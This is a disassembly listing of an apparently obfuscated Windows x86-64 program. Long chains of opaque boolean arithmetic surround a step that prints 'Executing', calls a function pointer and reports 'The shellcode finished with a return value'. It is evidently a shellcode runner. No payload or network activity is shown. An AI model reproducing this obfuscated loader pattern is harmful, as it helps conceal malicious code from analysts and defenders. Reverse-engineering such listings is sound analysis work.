mov cl, byte [rbp - 0x34]
xor cl, r12b
and r12b, cl
xor r12b, 1
mov eax, r12d
xor al, cl
or r12b, cl
mov ecx, esi
xor cl, 1
xor r12b, 1
or r12b, al
and sil, cl
mov eax, esi
and al, cl
xor sil, cl
or sil, al
mov eax, r8d
mov dl, byte [rbp - 0x28]
and al, dl
xor r8b, dl
or r8b, al
mov eax, esi
xor al, 1
and al, r8b
xor r8b, 1
and r8b, sil
or r8b, al
mov eax, ecx
xor al, dl
or cl, dl
xor cl, 1
or cl, al
xor r8b, 1
mov eax, r8d
xor al, cl
or r8b, cl
xor r8b, 1
or r8b, al
mov eax, r8d
xor al, r12b
and r8b, al
and al, r12b
mov ecx, r8d
xor cl, 1
xor r8b, al
xor al, 1
or al, cl
xor al, 1
or al, r8b
xor r13b, 1
mov ecx, r13d
and cl, r15b
xor r15b, r13b
or r15b, cl
mov ecx, r15d
xor cl, 1
mov edx, r15d
and dl, cl
mov ebx, r15d
and bl, dl
xor dl, r15b
or dl, bl
xor dl, al
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
mov edx, eax
or dl, cl
xor cl, dl
or dl, al
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and dl, al
xor dl, 1
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, 1
and al, dl
mov ecx, eax
and cl, dl
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
xor cl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, 1
mov ecx, r9d
xor cl, 1
and al, cl
mov ebx, r9d
and bl, dl
or bl, al
xor bl, 1
or bl, cl
xor bl, 1
xor cl, dl
xor cl, 1
and cl, dl
xor dl, r9b
and dl, r9b
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
xor dl, bl
xor dl, 1
and bl, dl
xor bl, 1
mov eax, ebx
xor al, dl
or bl, dl
xor bl, 1
or bl, al
mov ecx, ebx
xor cl, 1
mov eax, ebx
or al, cl
mov r8d, eax
xor r8b, cl
mov edx, r8d
and dl, cl
xor dl, 1
mov r9d, edx
xor r9b, r8b
or dl, r8b
xor dl, 1
or dl, r9b
xor dl, 1
xor cl, bl
xor al, 1
or al, cl
mov ebx, eax
xor bl, 1
mov ecx, edx
xor cl, bl
mov r8d, ecx
xor r8b, dl
and r8b, cl
mov ecx, eax
and cl, bl
xor al, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, al
xor cl, dl
mov eax, ecx
xor al, 1
mov edx, r8d
xor dl, 1
and cl, dl
or dl, al
xor dl, 1
and al, r8b
or al, cl
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov edx, eax
xor dl, 1
mov ecx, edx
and cl, al
mov ebx, edx
xor bl, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, bl
xor cl, 1
or dl, al
xor dl, 1
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
mov r10d, edx
xor r10b, 1
mov eax, r10d
and al, dl
mov r8d, r10d
and r8b, al
mov r9d, r10d
xor r9b, al
or r8b, r9b
mov ecx, r8d
xor cl, 1
mov ebx, ecx
or bl, r8b
mov r11d, ebx
xor r11b, 1
xor al, 1
or al, dl
xor al, 1
or al, r9b
and r11b, al
xor al, 1
and al, bl
or al, r11b
mov edx, ebx
and dl, r10b
xor bl, r10b
or bl, dl
xor al, 1
mov edx, eax
xor dl, bl
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and dl, r8b
and cl, al
or cl, dl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
mov bl, byte [rbp - 0x30]
mov r8d, ebx
xor r8b, 1
mov edx, r8d
and dl, bl
mov esi, ebx
mov ebx, r8d
and bl, dl
xor dl, r8b
or dl, bl
mov ebx, edx
xor bl, 1
mov r9d, eax
and r9b, dl
mov r10d, ecx
xor r10b, bl
and bl, cl
or r9b, bl
mov r11d, edx
xor r11b, cl
or dl, cl
xor dl, 1
or dl, r11b
xor dl, 1
mov r11d, r9d
and r11b, dl
xor dl, r9b
or dl, r11b
or bl, r10b
and al, cl
mov r9d, ecx
and r9b, al
xor al, cl
or al, r9b
mov ecx, edx
xor cl, 1
xor bl, 1
and sil, al
xor al, 1
and al, r8b
or al, sil
xor al, 1
or al, r8b
xor al, bl
mov r8d, eax
xor r8b, 1
and al, bl
mov ebx, eax
and bl, r8b
xor al, r8b
or al, bl
mov r8d, eax
xor r8b, 1
mov ebx, edx
and bl, cl
mov r9d, edx
and r9b, bl
xor bl, dl
xor dl, r8b
or cl, al
xor cl, 1
or cl, dl
and al, r8b
or bl, r9b
mov edx, r8d
and dl, al
xor al, r8b
or al, dl
xor cl, 1
xor al, bl
xor al, cl
mov edx, eax
xor dl, 1
and dl, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x4bbe24e2
mov ebx, 0xe56a3d73
cmovne ecx, ebx
test al, 1
mov eax, ecx
cmovne eax, ebx
test dl, 1
jmp 0x14001673f
cmp byte [rbp - 5], 0
mov eax, 0x7ef4e30
mov ecx, 0xe4b37936
jmp 0x1400160ec
sub rsp, 0x20
lea rcx, str.___Executing
call sub.api_ms_win_crt_stdio_l1_1_0.dll_puts
add rsp, 0x20
mov rax, qword [rbp - 0x10]
sub rsp, 0x20
call rax
lea rcx, str.___The_shellcode_finished_with_a_return_value:__08X_n
xor edx, edx
call fcn.1400010d7
add rsp, 0x20
mov eax, dword [0x1400508d0]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ecx, eax
mov ebx, eax
and ecx, 0x7422af9e
mov eax, edx
mov r8d, edx
and eax, 0x8bdd5061
or eax, ecx
mov ecx, eax
xor ecx, 0x8acd5000
xor eax, 0x50020602
and ecx, 0xaeedf99c
and eax, 0x51120663
or eax, ecx
mov ecx, eax
xor ecx, 0x2a738c7
xor eax, 0x51120663
and eax, ecx
mov ecx, ebx
mov r9d, ebx
mov dword [rbp - 0x28], ebx
and ecx, 0x16a5bd24
and edx, 0xe95a42db
or edx, ecx
mov ebx, edx
xor ebx, 0xe95a42db
xor edx, 0x12241424
and edx, 0x3b745467
mov ecx, ebx
and ecx, 0xc48bab98
or ecx, edx
xor ecx, 0x973e953c
and ebx, 0xac4ac15b
or ebx, ecx
mov edx, ebx
not edx
mov esi, eax
not esi
mov ecx, esi
or ecx, ebx
mov edi, ecx
not edi
and esi, 0x7cdef740
and eax, 0x832108bf
or eax, esi
and ebx, 0x7cdef740
and edx, 0x832108bf
or edx, ebx
xor edx, eax
mov eax, edx
not eax
mov ebx, ecx
and ebx, 0x61522893
and edi, 0x9eadd76c
or edi, ebx
or ecx, eax
and eax, 0x61522893
and edx, 0x9eadd76c
or edx, eax
xor edx, edi
not ecx
or ecx, edx
mov edx, ecx
not edx
mov eax, edx
and eax, 0x13850600
and ecx, 0x403038a4
or ecx, eax
mov ebx, ecx
xor ebx, 0x403000a0
xor ecx, 0xba0b021b
or edx, 0x53b53ea4
mov eax, edx
not eax
and ecx, 0xba0b3a1f
and ebx, 0x41b404a0
or ebx, ecx
and edx, 0xba0b3a1f
and eax, 0x440c140
or eax, edx
xor eax, ebx
mov edx, eax
mov ecx, eax
xor ecx, 0x223191e
and ecx, eax
not eax
and eax, 0xb0b55424
and edx, 0x4f4aabdb
or edx, eax
mov eax, edx
xor eax, 8
xor edx, 0x211004
or edx, 0xfddce6e1
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0xfe865d52
and eax, 0x21000c
or eax, edi
or edx, ebx
and ebx, 0xfe865d52
and ecx, 0x179a2ad
or ecx, ebx
xor ecx, eax
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0xfddce6e1
and edx, 0x223191e
or edx, eax
mov eax, edx
xor eax, 0x65f12ad4
and eax, edx
not edx
and edx, 0x65f12ad4
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x9a0ed52b
and edx, 0x65f12ad4
or edx, ecx
not edx
or edx, eax
mov ebx, edx
not ebx
mov eax, r9d
and eax, 0xe1022901
mov dword [rbp - 0x30], r8d
mov ecx, r8d
and ecx, 0x65d470
or ecx, eax
mov eax, ecx
xor eax, 0x645060
xor ecx, 0xff9a2b8f
mov edi, r8d
xor edi, 0xe167fd71
and edi, r8d
mov esi, edi
not esi
mov r10d, ecx
and r10d, 0x80938d93
and eax, 0x61647060
or eax, r10d
or ecx, esi
and esi, 0x80938d93
and edi, 0x7f6c726c
or edi, esi
xor edi, eax
not ecx
or ecx, edi
mov eax, ecx
not eax
and eax, 0x1e98028e
and ecx, 0xe167fd71
or ecx, eax
mov eax, ecx
not eax
mov esi, eax
and esi, 0x9ee893a9
mov edi, ecx
and edi, 0x61176c56
or edi, esi
mov esi, edi
not esi
and esi, 0xfb19b97d
and edi, 0x4e64682
or edi, esi
and ecx, 0x8c6d3365
mov esi, eax
and esi, 0x7392cc9a
or esi, ecx
xor esi, 0x1663e64e
and eax, 0x9a0ed52b
or eax, esi
mov ecx, eax
not ecx
and ecx, 0x5fe7638c
and eax, 0xa0189c73
or eax, ecx
xor eax, 0xa0189c73
mov ecx, edi
and ecx, eax
xor eax, edi
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xdd7b53c
and eax, 0xf2284ac3
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xf2284ac3
and eax, 0xdd7b53c
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x65443f32
and eax, 0x9abbc0cd
or eax, ecx
mov ecx, eax
xor ecx, 0x82ab0085
xor eax, 0x45041d12
and eax, 0x5d14dd5a
and ecx, 0xa2eb22a5
or ecx, eax
mov r15d, ecx
xor r15d, 0x5d14dd5a
xor ecx, 0xa2eb22a5
mov eax, edx
and eax, 0x22ee58b2
mov r13d, edx
xor r13d, 0xdd11a74d
and r13d, ebx
mov edi, eax
and edi, r13d
xor r13d, eax
or r13d, edi
mov eax, r13d
not eax
and eax, 0xf564436
and r13d, 0xf0a9bbc9
or r13d, eax
mov r10d, r13d
xor r10d, 0xd247e37b
mov eax, ecx
and eax, 0xd6cb2fa8
mov r11d, r15d
and r11d, 0x2934d057
or r11d, eax
mov r14d, r11d
xor r14d, 0xd6cb2fa8
xor r13d, 0x2db81c84
mov eax, r13d
and eax, 0xed101e8d
mov esi, r10d
and esi, 0x12efe172
or esi, eax
xor esi, 0xd6936e7d
or esi, r13d
mov r9d, esi
not r9d
mov eax, edx
and eax, 0xe1e6d840
and ebx, 0x1e1927bf
or ebx, eax
xor ebx, 0xda65a8b0
xor edx, ebx
and edx, ebx
xor r11d, 0x2934d057
mov eax, r14d
and eax, 0x9a3d5ee8
mov edi, r11d
and edi, 0x65c2a117
or edi, eax
xor edi, 0x5e41d1e7
mov ebx, r11d
and ebx, 0xc47c8f0f
or ebx, edi
mov eax, ebx
not eax
and eax, 0x5592b688
and ebx, 0xaa6d4977
or ebx, eax
and ecx, 0x8da32e94
mov eax, r15d
and eax, 0x725cd16b
or eax, ecx
xor eax, 0xb6205e64
and r15d, 0x3b8370f0
or r15d, eax
mov eax, esi
and eax, 0x3ba5b0d0
xor esi, 0x45c336aa
and esi, r9d
and r9d, 0xc45a4f2f
or r9d, eax
mov edi, edx
not edi
and edi, 0x89a26f5
mov eax, edx
and eax, 0xf765d90a
or eax, edi
mov r12d, r9d
xor r12d, 0xc45a4f2f
mov edi, r12d
and edi, 0xba3cc955
mov ecx, edi
and ecx, esi
xor esi, edi
or esi, ecx
mov edi, eax
xor edi, 0xf765d90a
mov ecx, eax
xor ecx, 0xb2a6efa0
and ecx, edi
and edx, 0x45c336aa
mov r8d, ecx
and r8d, edx
xor edx, ecx
or edx, r8d
mov ecx, esi
not ecx
and ecx, edx
not edx
and edx, esi
or edx, ecx
xor r9d, 0x3ba5b0d0
mov ecx, r9d
and ecx, 0x4c3e9b81
and r12d, 0xb3c1647e
or r12d, ecx
xor eax, 0x89a26f5
or r9d, eax
and eax, 0x4c3e9b81
and edi, 0xb3c1647e
or edi, eax
mov eax, ebx
xor eax, 0x80000123
xor edi, r12d
not r9d
or r9d, edi
not r9d
mov ecx, edx
and ecx, r9d
xor r9d, edx
or r9d, ecx
xor ebx, 0x5592b688
mov ecx, ebx
and ecx, 0x3affea54
and eax, 0xc50015ab
or eax, ecx
mov r8d, eax
xor eax, 0x3affea54
mov edx, eax
or edx, 0xa6a4d92c
mov ecx, edx
not ecx
or ebx, 0x595b26d3
and edx, 0x1a408f04
and ecx, 0x411b20d3
or ecx, edx
mov r12d, ebx
not r12d
and ebx, 0x1a408f04
and r12d, 0xa4a45028
or r12d, ebx
mov esi, r15d
xor esi, 0xa6a4d92c
xor r12d, ecx
mov ecx, esi
and ecx, r15d
mov ebx, ecx
not ebx
mov edi, ebx
and edi, 0x931022e8
and ecx, 0x6cefdd17
or ecx, edi
mov edi, r15d
not edi
and esi, edi
mov edx, esi
not edx
or ebx, edx
and edx, 0x931022e8
and esi, 0x6cefdd17
or esi, edx
xor esi, ecx
not ebx
or ebx, esi
mov ecx, r12d
not ecx
and ecx, 0xae1d4217
and r12d, 0x51e2bde8
or r12d, ecx
mov ecx, ebx
not ecx
and ecx, 0xae1d4217
and ebx, 0x51e2bde8
or ebx, ecx
xor r8d, 0x84000029
xor ebx, r12d
mov ecx, eax
and ecx, 0x69cd1fc6
and r8d, 0x9632e039
or r8d, ecx
mov r12d, dword [0x1400508cc]
or eax, edi
and edi, 0x69cd1fc6
and r15d, 0x9632e039
or r15d, edi
xor r15d, r8d
not eax
or eax, r15d
mov ecx, eax
not ecx
and ecx, 0xb57c3b77
and eax, 0x4a83c488
or eax, ecx
xor eax, 0x4a83c488
mov ecx, ebx
and ecx, eax
xor eax, ebx
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
or edx, r9d
not r9d
not edx
and ecx, 0xeb761ebd
and eax, 0x1489e142
or eax, ecx
xor eax, 0xeb761ebd
or eax, r9d
not eax
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov edx, r10d
xor edx, r11d
and edx, r10d
and r13d, 0xef8e2e35
and r10d, 0x1071d1ca
or r10d, r13d
and r11d, 0xef8e2e35
and r14d, 0x1071d1ca
or r14d, r11d
xor r14d, r10d
mov edi, edx
not edi
mov ebx, r14d
not ebx
mov ecx, edi
and ecx, 0x27434efe
and edx, 0xd8bcb101
or edx, ecx
or edi, ebx
and ebx, 0x27434efe
and r14d, 0xd8bcb101
or r14d, ebx
xor r14d, edx
not edi
or edi, r14d
mov edx, edi
mov ecx, edi
xor ecx, 0x94b8d83a
and ecx, edi
not edi
and edi, 0x8010d828
and edx, 0x14a80012
or edx, edi
xor edx, 0x14a80012
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x6b4727c5
and ecx, 0x94b8d83a
or ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x540515b2
and ecx, 0xabfaea4d
or ecx, ebx
xor ecx, 0x540515b2
xor edx, ecx
and edx, ecx
mov esi, eax
mov ecx, eax
xor ecx, 0x907184ef
and ecx, eax
mov r8d, eax
not r8d
mov edi, edx
not edi
or esi, 0x6f8e7b10
mov eax, esi
not eax
mov r9d, edx
xor r9d, 0x907184ef
and r9d, edi
and edx, 0x6f8e7b10
mov ebx, ecx
not ebx
mov r10d, esi
and r10d, 0xb70d4405
and eax, 0x7080ea
or eax, r10d
or esi, ebx
and ebx, 0xb70d4405
and ecx, 0x48f2bbfa
or ecx, ebx
xor ecx, eax
not esi
or esi, ecx
mov ecx, r9d
and ecx, edx
xor edx, r9d
or edx, ecx
mov ecx, esi
not ecx
and ecx, 0xd495ef44
and esi, 0x2b6a10bb
or esi, ecx
mov ecx, edx
not ecx
and ecx, 0xd495ef44
and edx, 0x2b6a10bb
or edx, ecx
xor edx, esi
mov ecx, r8d
and ecx, edi
xor edi, r8d
or edi, ecx
mov ecx, edi
not ecx
and ecx, 0x22d25b0f
and edi, 0xdd2da4f0
or edi, ecx
xor edi, 0xdd2da4f0
mov ecx, edx
and ecx, edi
xor edi, edx
or edi, ecx
mov ecx, edi
not ecx
mov edx, ecx
and edx, 0x100ad528
mov eax, edi
and eax, 0x8a040002
or eax, edx
mov r8d, eax
xor r8d, 0x8a040002
xor eax, 0x70f9d2dd
and ecx, 0x9a0ed52a
xor edi, 0x65f12ad5
or edi, ecx
mov ecx, edi
not ecx
and ecx, 0xe7df33fb
and edi, 0x1820cc04
or edi, ecx
mov edx, edi
xor edx, 0x1820cc04
mov ebx, edi
xor ebx, 0xe0891131
and eax, 0x72f9d2dd
mov ecx, r8d
and ecx, 0x88060522
or ecx, eax
xor ecx, 0x8d062d22
and ebx, 0xf0a99d35
xor edi, 0x64a76811
and edi, edx
and edx, 0xf5662ca
or edx, ebx
mov ebx, edx
xor ebx, 0xf5662ca
xor edx, 0x8c2e3920
and edx, ebx
mov r9d, ecx
and r9d, ebx
xor ebx, ecx
and ecx, 0x7c87a415
and r8d, 0x8208512a
or r8d, ecx
mov ecx, edx
not ecx
mov eax, edi
not eax
mov esi, ecx
and esi, 0x1c30c735
and edx, 0xe3cf38ca
or edx, esi
or ecx, eax
and eax, 0x1c30c735
and edi, 0xe3cf38ca
or edi, eax
xor edi, edx
not ecx
or ecx, edi
mov eax, r8d
not eax
and eax, ecx
not ecx
and ecx, r8d
or ecx, eax
or ebx, r9d
mov eax, ebx
not eax
and eax, 0xda13ee31
and ebx, 0x25ec11ce
or ebx, eax
mov edx, ebx
xor edx, 0x2448114e
xor ebx, 0xda13ee31
mov eax, ecx
not eax
mov edi, eax
and edi, 0xd9b4c891
and ecx, 0x264b376e
or ecx, edi
or eax, ebx
and ebx, 0xd9b4c891
and edx, 0x264b376e
or edx, ebx
xor edx, ecx
not eax
or eax, edx
mov r10d, eax
not r10d
mov ecx, r10d
and ecx, 0xaf4e3a3e
mov ebx, r10d
and ebx, eax
or r10d, eax
and eax, 0x50b1c5c1
or eax, ecx
mov ecx, eax
xor ecx, 0x1090c000
xor eax, 0xaf4e3a3e
mov edx, ebx
not edx
mov edi, eax
and edi, 0xed2b27ed
and ecx, 0x12d4d812
or ecx, edi
or eax, edx
and edx, 0xed2b27ed
and ebx, 0x12d4d812
or ebx, edx
xor ebx, ecx
not eax
or eax, ebx
mov ecx, eax
not ecx
and ecx, 0x36721dd1
and eax, 0xc98de22e
or eax, ecx
mov ecx, eax
xor ecx, 0xc98de22e
xor eax, 0x36721dd1
mov edx, r10d
not edx
and edx, 0xb1e61b65
and r10d, 0x4e19e49a
or r10d, edx
mov edx, r10d
xor edx, 0x4e19e49a
and edx, ecx
xor r10d, 0xb1e61b65
mov ecx, eax
xor ecx, r10d
and ecx, eax
and r10d, eax
or r10d, edx
mov eax, ecx
and eax, r10d
xor r10d, ecx
or r10d, eax
mov edx, dword [rbp - 0x28]
mov eax, edx
and eax, 0x2e39eb08
mov ecx, dword [rbp - 0x30]
mov r11d, ecx
and r11d, 0xd1c614f7
or r11d, eax
mov eax, r11d
xor eax, 0x2801a300
and eax, 0xa843a7c2
xor r11d, 0x867a4cca
or r11d, eax
mov ebx, r11d
not ebx
mov eax, edx
mov r15d, edx
and eax, 0x607322f8
and ecx, 0x9f8cdd07
or ecx, eax
xor ecx, 0x37cf7ac5
xor r15d, ecx
and r15d, ecx
mov r9d, r15d
not r9d
mov ecx, r11d
xor ecx, 0x87a3c56c
mov eax, ecx
and eax, r11d
and ecx, ebx
mov r8d, r15d
xor r8d, 0x785c3a93
and r8d, r9d
mov esi, r15d
and esi, 0x87a3c56c
mov edx, eax
not edx
mov edi, ecx
not edi
mov r14d, edx
and r14d, 0x9b1ef7a8
and eax, 0x64e10857
or eax, r14d
or edx, edi
and edi, 0x9b1ef7a8
and ecx, 0x64e10857
or ecx, edi
xor ecx, eax
not edx
or edx, ecx
mov eax, r8d
and eax, esi
xor esi, r8d
or esi, eax
mov eax, edx
not eax
and eax, 0x939fc328
and edx, 0x6c603cd7
or edx, eax
mov eax, esi
not eax
and eax, 0x939fc328
and esi, 0x6c603cd7
or esi, eax
xor esi, edx
mov eax, ebx
and eax, 0xc2511594
and r11d, 0x3daeea6b
or r11d, eax
or ebx, r15d
and r15d, 0xc2511594
and r9d, 0x3daeea6b
or r9d, r15d
xor r9d, r11d
not ebx
or ebx, r9d
not ebx
mov eax, esi
and eax, ebx
xor ebx, esi
or ebx, eax
mov ecx, ebx
xor ecx, 0x2ad541fc
and ecx, ebx
not ebx
and ebx, 0x2ad541fc
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xdb91feb3
and ecx, 0x246e014c
or ecx, eax
mov ebx, ecx
xor ebx, 0x5907188d
mov eax, r10d
xor ecx, 0xa6f8e772
mov esi, ecx
xor ecx, r10d
not ecx
and ecx, r10d
not r10d
mov edx, r10d
and edx, 0xb3ae07d4
and eax, 0x4c51f82b
or eax, edx
mov edx, eax
xor edx, 0x4840d002
and esi, 0x4ab3c81c
xor r10d, ebx
not r10d
and r10d, ebx
and ebx, 0xb54c37e3
or ebx, esi
mov edi, ebx
xor edi, 0xb0481042
xor eax, 0xb3ae07d4
xor ebx, 0x4ab3c81c
mov esi, eax
and esi, 0x5372fbd
and edx, 0xfac8d042
or edx, esi
or eax, ebx
and ebx, 0x5372fbd
and edi, 0xfac8d042
or edi, ebx
xor edi, edx
not eax
or eax, edi
mov edx, eax
not edx
and edx, 0xf3be0e99
and eax, 0xc41f166
or eax, edx
mov edx, eax
xor edx, 0x16106
mov ebx, r10d
and ebx, ecx
xor ecx, r10d
or ecx, ebx
xor eax, 0xf3be0e99
mov ebx, ecx
not ebx
mov edi, eax
or edi, ebx
not edi
and eax, 0xbd7c9279
and edx, 0x42836d86
or edx, eax
and ebx, 0xbd7c9279
and ecx, 0x42836d86
or ecx, ebx
xor ecx, edx
mov eax, edi
and eax, ecx
xor ecx, edi
or ecx, eax
mov r8d, ecx
not r8d
mov eax, r8d
and eax, 0x43444450
mov edx, ecx
and edx, 0x2080110a
or edx, eax
mov eax, edx
xor eax, 0x20000108
xor edx, 0xc47b2a94
mov edi, r8d
or edi, 0x63c4555a
mov ebx, edi
not ebx
and edx, 0xc4fb3a96
and eax, 0x23044548
or eax, edx
and edi, 0xc4fb3a96
and ebx, 0x18008021
or ebx, edi
xor ebx, eax
mov eax, ebx
not eax
and eax, 0x96abffe4
and ebx, 0x6954001b
or ebx, eax
mov eax, ebx
xor eax, 0x2804000
xor ebx, 0x90430a20
and eax, 0x67ace09e
and ebx, 0x98531f61
or ebx, eax
mov eax, ebx
xor eax, 0xdedc6642
xor ebx, 0x98531f61
and ebx, eax
mov eax, r8d
and eax, 0xb90d796c
and ecx, 0x46f28693
or ecx, eax
xor ecx, 0x7dffb0
xor r8d, ecx
and r8d, ecx
mov esi, ebx
mov eax, ebx
xor eax, 0xe9167412
and eax, ebx
not ebx
and ebx, 0xea18ac8f
and esi, 0x15e75370
or esi, ebx
mov r9d, esi
xor r9d, 0x15e75370
mov r11d, r8d
not r11d
xor esi, 0xe8102402
or esi, 0x16e98bed
mov ebx, esi
not ebx
or r8d, 0x16e98bed
mov r14d, r8d
not r14d
mov r10d, r11d
or r10d, 0xe9167412
mov edi, r10d
not edi
mov ecx, eax
not ecx
mov edx, esi
and edx, 0xcbc992d4
and ebx, 0x20166402
or ebx, edx
or esi, ecx
and ecx, 0xcbc992d4
and eax, 0x34366d2b
or eax, ecx
xor eax, ebx
not esi
or esi, eax
and r8d, 0xd2816833
and r14d, 0x29161400
or r14d, r8d
and r10d, 0xd2816833
and edi, 0x46883cc
or edi, r10d
xor edi, r14d
mov eax, esi
not eax
and eax, 0x592e027d
and esi, 0xa6d1fd82
or esi, eax
mov eax, edi
not eax
and eax, 0x592e027d
and edi, 0xa6d1fd82
or edi, eax
xor edi, esi
mov eax, r9d
and eax, r11d
xor r11d, r9d
or r11d, eax
mov ecx, r11d
not ecx
mov eax, edi
not eax
mov edx, eax
and edx, 0x73ccc5a1
and edi, 0x8c333a5e
or edi, edx
or eax, r11d
and r11d, 0x73ccc5a1
and ecx, 0x8c333a5e
or ecx, r11d
xor ecx, edi
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x6a46855d
and eax, 0x95b97aa2
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x2cc9fc7e
and eax, 0xd3360381
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xe442264
mov ebx, eax
and ebx, 0xd1800812
or ebx, edx
xor ebx, 0xd1800812
mov edx, eax
xor edx, 0xdfc42a76
and edx, eax
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0xdfc42a76
and edx, 0x203bd589
or edx, ebx
mov ebx, edx
not ebx
and ecx, ebx
and edx, eax
or edx, ecx
not edx
or edx, ebx
cmp edx, 0xffffffff
sete cl
setne sil
cmp r12d, 0xa
setl r10b
mov byte [rbp - 0x30], r10b
cmp r12d, 9
setg r8b
xor sil, cl
mov edx, esi
and dl, cl
mov eax, edx
mov r9d, esi
mov ebx, esi
xor sil, cl
or sil, dl
xor dl, 1
and al, dl
xor al, 1
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
xor r9b, 1
and bl, al
mov edx, ecx
and dl, r9b
or dl, bl
xor dl, 1
or dl, al
xor al, r9b
not al
and al, r9b
xor r9b, cl
and r9b, cl
mov ecx, eax
xor cl, 1
xor al, r9b
xor r9b, 1
or r9b, cl
xor r9b, 1
or r9b, al
mov eax, r9d
xor al, 1
mov ecx, eax
mov ebx, edx
xor al, dl
xor dl, 1
and cl, dl
and bl, r9b
or bl, cl
or r9b, dl
xor r9b, 1
or r9b, al
xor r9b, 1
mov eax, ebx
and al, r9b
xor r9b, bl
or r9b, al
mov edx, r9d
mov ecx, r8d
mov byte [rbp - 0x23], r8b
mov r9d, r8d
xor r9b, r10b
xor cl, r9b
xor r9b, 1
or r9b, cl
mov r8d, r9d
xor r8b, 1
mov ecx, edx
xor cl, 1
mov byte [rbp - 0x2c], cl
mov ebx, ecx
and bl, dl
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov byte [rbp - 0x38], bl
mov eax, ebx
xor al, 1
mov byte [rbp - 0x34], al
or dl, cl
mov byte [rbp - 0x28], dl
mov ecx, edx
xor cl, 1
mov edx, eax
and dl, bl
mov r10d, eax
and r10b, dl
xor dl, al
or dl, r10b
xor dl, cl
xor dl, 1
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor dl, 1
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov r10d, edx
xor r10b, al
and al, dl
or al, r10b
and r10b, dl
or bl, cl
mov ecx, ebx
xor cl, 1
and cl, bl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
and dl, r10b
xor r10b, 1
xor cl, 1
and cl, r10b
or cl, dl
mov edx, r10d
and dl, bl
xor r10b, bl
or r10b, dl
xor r10b, 1
mov edx, ecx
and dl, r10b
xor r10b, cl
or r10b, dl
mov ecx, r10d
xor cl, 1
mov edx, ecx
and dl, r10b
xor cl, dl
xor dl, 1
or dl, r10b
xor dl, 1
or dl, cl
mov ecx, eax
xor cl, 1
mov ebx, edx
xor bl, 1
and cl, bl
or bl, al
xor bl, 1
and al, dl
or al, cl
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ebx, eax
xor bl, 1
mov edx, ebx
and dl, al
mov ecx, ebx
xor cl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
or bl, al
mov eax, ebx
xor al, 1
mov ecx, eax
and cl, bl
mov edi, ecx
xor dil, 1
xor cl, al
or dil, bl
xor dil, 1
or dil, cl
xor dil, dl
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, dil
xor dil, 1
xor cl, 1
or dil, al
xor dil, 1
or dil, cl
mov eax, edi
xor al, 1
and dil, al
mov ecx, eax
and cl, dil
xor dil, al
or dil, cl
mov eax, edi
xor al, 1
and dil, al
xor dil, 1
mov ecx, edi
xor cl, al
or dil, al
xor dil, 1
or dil, cl
mov r11d, edi
xor r11b, 1
mov eax, r9d
and al, r8b
mov ecx, r9d
and cl, al
mov r12d, r9d
xor r12b, al
or r12b, cl
xor r12b, 1
mov ecx, r12d
and cl, r9b
xor r12b, r9b
or r12b, cl
xor al, 1
mov ecx, r8d
xor cl, al
or al, r8b
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
mov ebx, ecx
and bl, al
mov r10d, ecx
and r10b, bl
xor bl, cl
mov r15d, r12d
xor r15b, 1
or bl, r10b
mov ecx, ebx
xor cl, 1
and cl, r9b
and bl, r8b
or bl, cl
mov ecx, eax
xor cl, r8b
or al, r8b
xor al, 1
or al, cl
mov ecx, eax
xor cl, bl
xor bl, 1
xor cl, 1
or bl, al
xor bl, 1
or bl, cl
mov r10d, ebx
xor r10b, 1
mov r8d, r15d
xor r8b, r12b
and r8b, r15b
mov ecx, r8d
xor cl, 1
mov edx, r8d
and dl, cl
xor dl, 1
mov r9d, edx
xor r9b, cl
or dl, cl
xor dl, 1
or dl, r9b
or cl, r8b
xor cl, 1
